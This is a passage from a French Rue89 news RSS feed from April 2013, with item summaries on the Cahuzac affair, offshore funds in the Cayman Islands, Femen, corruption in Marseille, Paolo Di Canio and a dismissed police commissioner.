href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a4cf2ec/l/0L0Srue890N0C20A130C0A40C0A30Ccahuzac0Esavait0Ehollande0Equestion0Etout0Emonde0Epose0E241147/story01.htm'&gt;Cahuzac : que savait Hollande ? La question que chacun se pose&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a549cb2/l/0L0Srue890N0C20A130C0A40C0A40Cquestion0Etabou0Efaisait0Ecahuzac0Echez0Eles0Esocialistes0E241166/story01.htm'&gt;Question taboue : que faisait Cahuzac chez les socialistes ?&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a55d56f/l/0L0Srue890N0C20A130C0A40C0A40Ctaxis0Eg70Ea0Etetu0Eles0Emille0Evies0Ejean0Ejacques0Eaugier0Etresorier0Ehollande0E241164/story01.htm'&gt;Des Taxis G7 à Têtu, les mille vies de Jean-Jacques Augier, trésorier de Hollande&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a687021/l/0L0Srue890N0Czapnet0C20A130C0A40C0A60Cquand0Ejerome0Ecahuzac0Etrouvait0Epresence0Efinissait0Erejaillir0E241244/story01.htm'&gt;Quand Jérôme Cahuzac trouvait que « sa présence finissait par rejaillir sur... »&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=J%C3%A9r%C3%B4me+Cahuzac+veut+%28et+peut%29+revenir+%C3%A0+l%E2%80%99Assembl%C3%A9e+nationale&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fjerome-cahuzac-veut-revenir-a-lassemblee-nationale-241216" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=J%C3%A9r%C3%B4me+Cahuzac+veut+%28et+peut%29+revenir+%C3%A0+l%E2%80%99Assembl%C3%A9e+nationale&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fjerome-cahuzac-veut-revenir-a-lassemblee-nationale-241216" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676198720/u/0/f/608948/c/33822/s/2a5e88e6/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676198720/u/0/f/608948/c/33822/s/2a5e88e6/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676198720/u/0/f/608948/c/33822/s/2a5e88e6/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a5e88e6/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cbartolone0Icahuzac0I0A0Bjpg/bartolone_cahuzac_0.jpg" length="37114" type="image/jpeg" /><category domain="http://www.rue89.com/deputes">députés</category><category domain="http://www.rue89.com/claude-bartolone">Claude Bartolone</category><category domain="http://www.rue89.com/ps">PS</category><category domain="http://www.rue89.com/assemblee-nationale">assemblée nationale</category><category domain="http://www.rue89.com/cahuzac">Cahuzac</category><category domain="http://www.rue89.com/affaires">affaires</category><pubDate>Fri, 05 Apr 2013 11:08:56 GMT</pubDate><comments>http://www.rue89.com/2013/04/05/jerome-cahuzac-veut-revenir-a-lassemblee-nationale-241216#commentaires</comments><guid isPermaLink="false">241216 at http://www.rue89.com</guid><dc:creator>Zineb Dryef</dc:creator></item><item><title>On a tous un peu d’argent dans les Iles Caïmans</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a5e4ebe/l/0L0Srue890N0Crue890Eeco0C20A130C0A40C0A50Ca0Etous0Epeu0Edargent0Eles0Eiles0Ecaimans0E24120A7/story01.htm</link><description>Le trésorier de campagne de François Hollande, Jean-Jacques Augier, n'est pas le seul à avoir de l'argent aux Caïmans. Nous aussi. Vous aussi. Si si, vous allez voir.&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5e4ebe/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a514715/l/0L0Srue890N0C20A130C0A40C0A40Ctresorier0Ecampagne0Ehollande0Einvestisseur0Ecaimans0E241151/story01.htm'&gt;Le trésorier de campagne de Hollande investisseur aux Caïmans&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a55d56f/l/0L0Srue890N0C20A130C0A40C0A40Ctaxis0Eg70Ea0Etetu0Eles0Emille0Evies0Ejean0Ejacques0Eaugier0Etresorier0Ehollande0E241164/story01.htm'&gt;Des Taxis G7 à Têtu, les mille vies de Jean-Jacques Augier, trésorier de Hollande&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=On+a+tous+un+peu+d%E2%80%99argent+dans+les+Iles+Ca%C3%AFmans&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-eco%2F2013%2F04%2F05%2Fa-tous-peu-dargent-les-iles-caimans-241207" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=On+a+tous+un+peu+d%E2%80%99argent+dans+les+Iles+Ca%C3%AFmans&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-eco%2F2013%2F04%2F05%2Fa-tous-peu-dargent-les-iles-caimans-241207" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676803755/u/0/f/608948/c/33822/s/2a5e4ebe/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676803755/u/0/f/608948/c/33822/s/2a5e4ebe/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676803755/u/0/f/608948/c/33822/s/2a5e4ebe/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a5e4ebe/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Craie0Icaimans0I10Bjpg/raie_caimans_1.jpg" length="76265" type="image/jpeg" /><category domain="http://www.rue89.com/epargne">épargne</category><category domain="http://www.rue89.com/banques">banques</category><category domain="http://www.rue89.com/paradis-fiscaux">paradis fiscaux</category><pubDate>Fri, 05 Apr 2013 10:52:06 GMT</pubDate><comments>http://www.rue89.com/rue89-eco/2013/04/05/a-tous-peu-dargent-les-iles-caimans-241207#commentaires</comments><guid isPermaLink="false">241207 at http://www.rue89.com</guid><dc:creator>Elsa Fayner</dc:creator></item><item><title>« Topless jihad » : Femen, le syndrome de la blonde</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a5e498c/l/0L0Srue890N0C20A130C0A40C0A50Ctopless0Ejihad0Efemen0Esyndrome0Eblonde0E241190A/story01.htm</link><description>&lt;p&gt;&lt;strike&gt;Mesdemoiselles &lt;/strike&gt;, Mesdames, avant tout bravo. Par votre sextrémisme, vous parvenez enfin à jeter l’opprobre sur tous les autres fanatiques se revendiquant de x et y « –ismes » : le machisme, le catholicisme, le salafisme et bientôt le féminisme.&lt;/p&gt; &lt;p&gt;Telles les &lt;a href="http://www.courrierinternational.com/article/2011/06/16/salopes-et-fieres-de-l-etre" target="_blank"&gt; « salopes canadiennes »&lt;/a&gt; en 2011, vous entendez abolir la troisième vague féministe pour lui substituer une vague novatrice et plus efficace. Sur la quatrième vague féministe dont vous vous réclamez, vous entendez surfer les seins à l’air, doublés d’une barbe artificielle et d’un monosourcil s’il le faut.&lt;/p&gt; &lt;p&gt;Au départ, en...&lt;/p&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5e498c/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a4b0c6f/l/0L0Srue890N0Crue890Eeco0C20A130C0A40C0A30Centreprise0Elaccord0Einterprofessionnel0Einvente0Edegraissage0Eloucede0E24110A9/story01.htm'&gt;L’Accord interprofessionnel invente le dégraissage en loucedé&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5342af/l/0L0Srue890N0Crue890Eeco0C20A130C0A40C0A40Ccomment0Ebidonner0Eles0Eavis0Ecityvox0Ea0Eteste0E24110A2/story01.htm'&gt;Comment bidonner les avis sur Cityvox : on a testé pour vous&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5342b0/l/0L0Srue890N0C20A130C0A40C0A40Ca0Ecet0Einstant0Etout0Emonde0Epense0Eclient0Esest0Etranche0Egorge0E239436/story01.htm'&gt;« Tout le monde pense que mon client s’est tranché la gorge »&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a538bbe/l/0L0Srue890N0C20A130C0A40C0A40Ca0Eparis0Eles0Efemen0Elancent0Eloffensive0Econtre0Eles0Esalafistes0E241156/story01.htm'&gt;A Paris, les Femen lancent l’offensive contre les salafistes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a6187cf/l/0L0Srue890N0C20A130C0A40C0A50Ca0Eparis0Eles0Eecolos0Eauront0Ecandidat0Eface0Ea0Ehidalgo0Esectaire0E241233/story01.htm'&gt;A Paris, les écolos auront un candidat face à Hidalgo « la sectaire »&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=%C2%AB%C2%A0Topless+jihad%C2%A0%C2%BB%C2%A0%3A+Femen%2C+le+syndrome+de+la+blonde&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Ftopless-jihad-femen-syndrome-blonde-241190" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=%C2%AB%C2%A0Topless+jihad%C2%A0%C2%BB%C2%A0%3A+Femen%2C+le+syndrome+de+la+blonde&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Ftopless-jihad-femen-syndrome-blonde-241190" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676803288/u/0/f/608948/c/33822/s/2a5e498c/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676803288/u/0/f/608948/c/33822/s/2a5e498c/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676803288/u/0/f/608948/c/33822/s/2a5e498c/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a5e498c/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cfemen0Imosquee0Iparis0Icaisse0I0A0I0A0Bjpg/femen_mosquee_paris_caisse_0_0.jpg" length="81806" type="image/jpeg" /><category domain="http://www.rue89.com/salafistes">salafistes</category><category domain="http://www.rue89.com/feminisme">féminisme</category><category domain="http://www.rue89.com/femen">Femen</category><category domain="http://www.rue89.com/tribune">Tribune</category><category domain="http://www.rue89.com/paris">Paris</category><pubDate>Fri, 05 Apr 2013 10:27:01 GMT</pubDate><comments>http://www.rue89.com/2013/04/05/topless-jihad-femen-syndrome-blonde-241190#commentaires</comments><guid isPermaLink="false">241190 at http://www.rue89.com</guid><dc:creator>Moussa BK</dc:creator></item><item><title>Politiques, flics, voyous : Marseille passée au crible de trois bouquins</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff6/l/0L0Srue890N0C20A130C0A40C0A50Cpolitiques0Eflics0Evoyous0Emarseille0Epassee0Ecrible0Etrois0Ebouquins0E2410A84/story01.htm</link><description>Trois livres, publiés récemment, annoncent en creux ce sur quoi pourraient bientôt se concentrer la justice et la vie politique locale. Bonnes feuilles.&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff6/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a56c999/l/0L0Srue890N0C20A130C0A40C0A40Cproces0Erue890Erelaxe0Eappel0Eface0Ea0Eancien0Ecadre0Elump0E241180A/story01.htm'&gt;Procès : Rue89 relaxé en appel face à un ancien cadre de l’UMP&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff7/l/0L0Srue890N0C20A130C0A40C0A50Citineraire0Edun0Ecomissaire0Eripou0Esais0Edire0Enon0E241192/story01.htm'&gt;Itinéraire d’un commissaire ripou : « Je ne sais pas dire non »&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a6187cf/l/0L0Srue890N0C20A130C0A40C0A50Ca0Eparis0Eles0Eecolos0Eauront0Ecandidat0Eface0Ea0Ehidalgo0Esectaire0E241233/story01.htm'&gt;A Paris, les écolos auront un candidat face à Hidalgo « la sectaire »&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a663964/l/0L0Srue890N0C20A130C0A40C0A60Clalsace0Epays0Edentre0Edeux0Ebouscule0Eles0Eterres0Efrancaises0E241232/story01.htm'&gt;L’Alsace, « pays d’entre-deux », bouscule les terres françaises&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a67d305/l/0Lblogs0Brue890N0Cles0Ecoulisses0Ede0Ewikipedia0C20A130C0A40C0A60Cla0Epage0Ecensuree0Epar0Ela0Edcri0Ela0Eplus0Elue0Ede0Ewikipedia0E230A0A65/story01.htm'&gt;La DCRI censure une page de Wikipédia : succès assuré&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Politiques%2C+flics%2C+voyous%C2%A0%3A+Marseille+pass%C3%A9e+au+crible+de+trois+bouquins&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fpolitiques-flics-voyous-marseille-passee-crible-trois-bouquins-241084" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Politiques%2C+flics%2C+voyous%C2%A0%3A+Marseille+pass%C3%A9e+au+crible+de+trois+bouquins&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fpolitiques-flics-voyous-marseille-passee-crible-trois-bouquins-241084" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676802007/u/0/f/608948/c/33822/s/2a5d4ff6/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676802007/u/0/f/608948/c/33822/s/2a5d4ff6/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676802007/u/0/f/608948/c/33822/s/2a5d4ff6/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a5d4ff6/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cgaudin0Iguerini0I10Bjpg/gaudin_guerini_1.jpg" length="114655" type="image/jpeg" /><category domain="http://www.rue89.com/guerini">guérini</category><category domain="http://www.rue89.com/marseille">Marseille</category><category domain="http://www.rue89.com/politique">Politique</category><category domain="http://www.rue89.com/police">Police</category><category domain="http://www.rue89.com/bakchich">bakchich</category><category domain="http://www.rue89.com/justice">Justice</category><category domain="http://www.rue89.com/corruption">corruption</category><category domain="http://www.rue89.com/rue89-culture/livres">livres</category><pubDate>Fri, 05 Apr 2013 09:09:48 GMT</pubDate><comments>http://www.rue89.com/2013/04/05/politiques-flics-voyous-marseille-passee-crible-trois-bouquins-241084#commentaires</comments><guid isPermaLink="false">241084 at http://www.rue89.com</guid><dc:creator>Camille Polloni</dc:creator></item><item><title>Foot : à Sunderland, l’arrivée du coach fasciste Di Canio scandalise</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff8/l/0L0Srue890N0Crue890Esport0C20A130C0A40C0A50Cfoot0Ea0Esunderland0Elarrivee0Elentraineur0Efasciste0Edi0Ecanio0Escandalise0E241165/story01.htm</link><description>&lt;p&gt; &lt;/p&gt; &lt;p&gt;Pour sa première &lt;a href="http://www.mirror.co.uk/sport/football/news/paolo-di-canio-used-first-1797512" target="_blank"&gt;conférence de presse&lt;/a&gt;, le nouvel entraîneur du club de foot de Sunderland a subi un interrogatoire. Pendant dix minutes, les journalistes, &lt;a href="http://www.mirror.co.uk/sport/football/news/paolo-di-canio-used-first-1797512" target="_blank"&gt;quatre fois plus nombreux&lt;/a&gt; que lors de la présentation du précédent coach, ont cherché à faire avouer à &lt;a href="http://https://fr.wikipedia.org/wiki/Paolo_Di_Canio" target="_blank"&gt;Paolo Di Canio&lt;/a&gt; qu’il était fasciste.&lt;/p&gt; &lt;p&gt;L’Italien n’a pas plié, il a tourné autour du pot pour finalement lâcher avec l’aplomb irritant des gens qui parlent d’eux à la troisième personne : &lt;/p&gt; &lt;blockquote&gt;&lt;p&gt; « Je ne suis pas un homme politique. Je veux juste parler de football. Ce sont les derniers mots que je prononcerai sur cette situation....&lt;/p&gt; &lt;/blockquote&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff8/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a4215f9/l/0L0Srue890N0Crue890Esport0C20A130C0A40C0A20Cbeckham0Etitulaire0Esuicide0Egenie0Etactique0Esuivez0Epsg0Ebarcelone0E2410A88/story01.htm'&gt;Une fin insensée, Zlatan et Messi marquent : PSG-Barcelone (2-2)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a4b039e/l/0L0Srue890N0Crue890Esport0C20A130C0A40C0A30Cmessi0Eblesse0Eretour0Ethiago0Emotta0Epourquoi0Epsg0Epeut0Eesperer0Equalifier0Ea0Ebarcelone0E241134/story01.htm'&gt;Messi blessé et le retour de Thiago Motta : pourquoi le PSG peut espérer se qualifier à Barcelone&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a57daf5/l/0L0Srue890N0Crue890Esport0C20A130C0A40C0A40Capres0Eles0Etweets0Elettre0Ebarton0Ejure0Ejose0Esi0Ejavais0Epris0E120Ematches0Esuspension0E241178/story01.htm'&gt;Après les tweets, la lettre de Barton : « Je te jure, José, si j’avais pas pris 12 matches de suspension... »&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a624029/l/0L0Srue890N0C20A130C0A40C0A50Cbbc0Edecouvre0Esept0Eclasses0Esociales0Elieu0Etrois0E241234/story01.htm'&gt;La BBC découvre sept classes sociales au lieu de trois&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Foot%C2%A0%3A+%C3%A0+Sunderland%2C+l%E2%80%99arriv%C3%A9e+du+coach+fasciste+Di+Canio+scandalise&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-sport%2F2013%2F04%2F05%2Ffoot-a-sunderland-larrivee-lentraineur-fasciste-di-canio-scandalise-241165" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Foot%C2%A0%3A+%C3%A0+Sunderland%2C+l%E2%80%99arriv%C3%A9e+du+coach+fasciste+Di+Canio+scandalise&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-sport%2F2013%2F04%2F05%2Ffoot-a-sunderland-larrivee-lentraineur-fasciste-di-canio-scandalise-241165" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676802006/u/0/f/608948/c/33822/s/2a5d4ff8/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676802006/u/0/f/608948/c/33822/s/2a5d4ff8/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676802006/u/0/f/608948/c/33822/s/2a5d4ff8/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a5d4ff8/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cdicaniosalutromain0I0A0Bjpg/dicaniosalutromain_0.jpg" length="74818" type="image/jpeg" /><category domain="http://www.rue89.com/angleterre">angleterre</category><category domain="http://www.rue89.com/mussolini">Mussolini</category><category domain="http://www.rue89.com/fascisme">fascisme</category><category domain="http://www.rue89.com/italie">Italie</category><category domain="http://www.rue89.com/rue89-sport/foot">foot</category><pubDate>Fri, 05 Apr 2013 09:03:49 GMT</pubDate><comments>http://www.rue89.com/rue89-sport/2013/04/05/foot-a-sunderland-larrivee-lentraineur-fasciste-di-canio-scandalise-241165#commentaires</comments><guid isPermaLink="false">241165 at http://www.rue89.com</guid><dc:creator>Imanol Corcostegui</dc:creator></item><item><title>Itinéraire d’un commissaire ripou : « Je ne sais pas dire non »</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff7/l/0L0Srue890N0C20A130C0A40C0A50Citineraire0Edun0Ecomissaire0Eripou0Esais0Edire0Enon0E241192/story01.htm</link><description>&lt;p&gt;Le commissaire Patrick Moigne filait une belle carrière avant que la justice n’y mette fin. Passé aux Stups, numéro deux de la PJ de Créteil à moins de 40 ans, puis patron de la Brigade des fraudes aux moyens de paiement, avec une centaine d’hommes sous ses ordres. « C’est un grand service, vous n’êtes pas n’importe quel commissaire », souligne le juge.&lt;/p&gt; &lt;p&gt;Révoqué de la police en 2008, Patrick Moigne n’est plus commissaire du tout. Le tribunal lui reproche de s’être acoquiné avec des privés, à qui il fournissait des renseignements confidentiels, parfois gratuitement, parfois en...&lt;/p&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff7/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a49e2b0/l/0Lblogs0Brue890N0Cchez0Enoel0Emamere0C20A130C0A40C0A30Cavec0Elaffaire0Ecahuzac0Eloligarchie0Eest0Enue0E230A0A36/story01.htm'&gt;Avec l’affaire Cahuzac, l’oligarchie est nue&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5342b0/l/0L0Srue890N0C20A130C0A40C0A40Ca0Ecet0Einstant0Etout0Emonde0Epense0Eclient0Esest0Etranche0Egorge0E239436/story01.htm'&gt;« Tout le monde pense que mon client s’est tranché la gorge »&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a56c999/l/0L0Srue890N0C20A130C0A40C0A40Cproces0Erue890Erelaxe0Eappel0Eface0Ea0Eancien0Ecadre0Elump0E241180A/story01.htm'&gt;Procès : Rue89 relaxé en appel face à un ancien cadre de l’UMP&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff6/l/0L0Srue890N0C20A130C0A40C0A50Cpolitiques0Eflics0Evoyous0Emarseille0Epassee0Ecrible0Etrois0Ebouquins0E2410A84/story01.htm'&gt;Politiques, flics, voyous : Marseille passée au crible de trois bouquins&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a67d305/l/0Lblogs0Brue890N0Cles0Ecoulisses0Ede0Ewikipedia0C20A130C0A40C0A60Cla0Epage0Ecensuree0Epar0Ela0Edcri0Ela0Eplus0Elue0Ede0Ewikipedia0E230A0A65/story01.htm'&gt;La DCRI censure une page de Wikipédia : succès assuré&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Itin%C3%A9raire+d%E2%80%99un+commissaire+ripou%C2%A0%3A+%C2%AB%C2%A0Je+ne+sais+pas+dire+non%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fitineraire-dun-comissaire-ripou-sais-dire-non-241192" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Itin%C3%A9raire+d%E2%80%99un+commissaire+ripou%C2%A0%3A+%C2%AB%C2%A0Je+ne+sais+pas+dire+non%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fitineraire-dun-comissaire-ripou-sais-dire-non-241192" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676802005/u/0/f/608948/c/33822/s/2a5d4ff7/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676802005/u/0/f/608948/c/33822/s/2a5d4ff7/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676802005/u/0/f/608948/c/33822/s/2a5d4ff7/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a5d4ff7/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cripoux0Inoiret0Bjpg/ripoux_noiret.jpg" length="31393" type="image/jpeg" /><category domain="http://www.rue89.com/police">Police</category><category domain="http://www.rue89.com/justice">Justice</category><category domain="http://www.rue89.com/proces">Procès</category><category domain="http://www.rue89.com/fichage">fichage</category><pubDate>Fri, 05 Apr 